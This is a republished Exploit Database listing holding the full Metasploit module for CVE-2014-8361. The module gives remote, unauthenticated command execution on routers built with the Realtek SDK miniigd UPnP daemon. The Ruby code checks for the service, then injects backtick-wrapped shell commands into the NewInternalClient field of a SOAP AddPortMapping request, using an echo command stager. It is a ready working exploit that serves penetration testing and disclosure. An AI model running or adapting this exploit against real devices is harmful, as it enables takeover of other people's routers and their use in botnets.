Realtek SDK – Miniigd UPnP SOAP Command Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2015-06-01
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37169/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include REXML
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Realtek SDK Miniigd UPnP SOAP Command Execution',
  'Description' => %q{
  Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
  injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
  there is no output for the executed command. This module has been tested successfully on a
  Trendnet TEW-731BR router with emulation.
  },
  'Author'=>
  [
  'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery
  'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  ['CVE', '2014-8361'],
  ['ZDI', '15-155'],
  ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],
  ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']
  ],
  'DisclosureDate' => 'Apr 24 2015',
  'Privileged' => true,
  'Payload'=>
  {
  'DisableNops' => true
  },
  'Targets' =>
  [
  [ 'MIPS Little Endian',
  {
  'Platform' => 'linux',
  'Arch' => ARCH_MIPSLE
  }
  ],
  [ 'MIPS Big Endian',
  {
  'Platform' => 'linux',
  'Arch' => ARCH_MIPSBE
  }
  ]
  ],
  'DefaultTarget'=> 0
  ))
  
  deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOUR')
  
  register_options(
  [
  Opt::RPORT(52869) # port of UPnP SOAP webinterface
  ], self.class)
  end
  
  def check
  begin
  res = send_request_cgi({
  'uri' => '/picsdesc.xml'
  })
  if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
  return Exploit::CheckCode::Detected
  end
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Unknown
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def exploit
  print_status("#{peer} - Trying to access the device ...")
  
  unless check == Exploit::CheckCode::Detected
  fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
  end
  
  print_status("#{peer} - Exploiting...")
  
  execute_cmdstager(
  :flavour=> :echo,
  :linemax => 50,
  :nodelete => true
  )
  end
  
  def execute_command(cmd, opts)
  uri = '/wanipcn.xml'
  soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
  data_cmd = '<?xml version="1.0"?>' + build_soap_req
  
  begin
  res = send_request_cgi({
  'uri'=> uri,
  'vars_get' => {
  'service' => 'WANIPConn1'
  },
  'ctype' => 'text/xml',
  'method' => 'POST',
  'headers' => {
  'SOAPAction' => soap_action
  },
  'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
  })
  return res
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end
  end
  
  def build_soap_req
  new_external_port = rand(32767) + 32768
  new_internal_port = rand(32767) + 32768
  
  xml = Document.new
  
  xml.add_element(
  'SOAP-ENV:Envelope',
  {
  'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
  })
  
  xml.root.add_element('SOAP-ENV:Body')
  
  body = xml.root.elements[1]
  
  body.add_element(
  'm:AddPortMapping',
  {
  'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
  })
  
  port_mapping = body.elements[1]
  port_mapping.add_element('NewLeaseDuration')
  port_mapping.add_element('NewInternalClient')
  port_mapping.add_element('NewEnabled')
  port_mapping.add_element('NewExternalPort')
  port_mapping.add_element('NewRemoteHost')
  port_mapping.add_element('NewProtocol')
  port_mapping.add_element('NewInternalPort')
  
  port_mapping.elements['NewLeaseDuration'].text= ''
  port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
  port_mapping.elements['NewEnabled'].text= '1'
  port_mapping.elements['NewExternalPort'].text = "#{new_external_port}"
  port_mapping.elements['NewRemoteHost'].text = ''
  port_mapping.elements['NewProtocol'].text = 'TCP'
  port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}"
  
  xml.to_s
  end
  
  end